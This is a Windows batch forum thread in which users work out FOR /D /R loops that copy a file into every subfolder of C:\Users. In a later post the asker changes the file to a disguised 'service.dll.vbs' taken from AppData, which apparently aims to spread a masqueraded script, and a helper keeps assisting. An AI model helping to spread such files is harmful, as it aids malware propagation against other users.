How to carry out an action in all folders in a dir.

Discussion forum for all Windows batch related topics.

Moderator: DosItHelp

Post Reply
Message
Author
MLGsuperGame414
Posts: 54
Joined: 10 Nov 2011 20:40

How to carry out an action in all folders in a dir.

#1 Post by MLGsuperGame414 » 20 Jul 2013 14:46

Alrighty I was trying to copy lol.txt to all subdirs in my C:\Useres\ I've read around finding some bits of code that I cant seem to get working.

Would I use xcopy?

Samir
Posts: 384
Joined: 16 Jul 2013 12:00
Location: HSV
Contact:

Re: How to carry out an action in all folders in a dir.

#2 Post by Samir » 20 Jul 2013 16:41

For has an option to carry out a command recursively through all directories. I'd look into that.

The /s switch on xcopy won't help in this use case.

MLGsuperGame414
Posts: 54
Joined: 10 Nov 2011 20:40

Re: How to carry out an action in all folders in a dir.

#3 Post by MLGsuperGame414 » 20 Jul 2013 18:58

I found this

Code: Select all

@echo off
    Setlocal EnableDelayedExpansion
    cls
    set currentDirectory=%CD%
    FOR /D %%g IN ("*") DO (
        Pushd %CD%\%%g
        FOR /D %%f IN ("*") DO (
            copy "%currentDirectory%\lol.txt" "%%~ff"
        )
    Popd
    )
pause


here, http://stackoverflow.com/questions/14021457/copy-a-file-into-every-folder-and-its-subfolders

Doesn't seem to work, that's all I really have to work off of.

I don't really understand the operation taking place, I DID experiment with it but didn't prevail.

foxidrive
Expert
Posts: 6031
Joined: 10 Feb 2012 02:20

Re: How to carry out an action in all folders in a dir.

#4 Post by foxidrive » 20 Jul 2013 20:17

This should do the job.

Don't use it to prank someone...

EDITED to put the /D first.

Code: Select all

@echo off
    FOR /D /R "c:\users" %%g IN (*) DO (
            echo copying to "%%g"
            copy "c:\folder\lol.txt" "%%g" >nul
    )
pause

Samir
Posts: 384
Joined: 16 Jul 2013 12:00
Location: HSV
Contact:

Re: How to carry out an action in all folders in a dir.

#5 Post by Samir » 20 Jul 2013 21:32

The first code posted in that thread was what I was talking about:

Code: Select all

@echo off
    for /r "%CD%" %%f in (.) do (
      copy "Text.txt" "%%~ff" > nul
    )
take off the echo off and "> nul" if you want to see the action.

MLGsuperGame414
Posts: 54
Joined: 10 Nov 2011 20:40

Re: How to carry out an action in all folders in a dir.

#6 Post by MLGsuperGame414 » 21 Jul 2013 09:28

Code: Select all

@echo off
    FOR /D /R "c:\users" %%g IN (\) DO (
            echo copying to "%%g"
            copy "c:\Users\%USERNAME%\Appdata\service.dll.vbs" "%%g" >nul
    )
pause


I was wondering if that would copy ONLY to the subdirs not subdirs in them as well. But it seems it didn't work. All I did was change * to \, not sure what I was thinking it would do but figured perhaps that had to do with the subdirs bit of the code. How would I fix this?

Samir
Posts: 384
Joined: 16 Jul 2013 12:00
Location: HSV
Contact:

Re: How to carry out an action in all folders in a dir.

#7 Post by Samir » 21 Jul 2013 14:00

MLGsuperGame414 wrote:

Code: Select all

@echo off
    FOR /D /R "c:\users" %%g IN (\) DO (
            echo copying to "%%g"
            copy "c:\Users\%USERNAME%\Appdata\service.dll.vbs" "%%g" >nul
    )
pause


I was wondering if that would copy ONLY to the subdirs not subdirs in them as well. But it seems it didn't work. All I did was change * to \, not sure what I was thinking it would do but figured perhaps that had to do with the subdirs bit of the code. How would I fix this?
If you only want to copy to the 1st level of sub-directories, read up on the /r switch in the for command.

Post Reply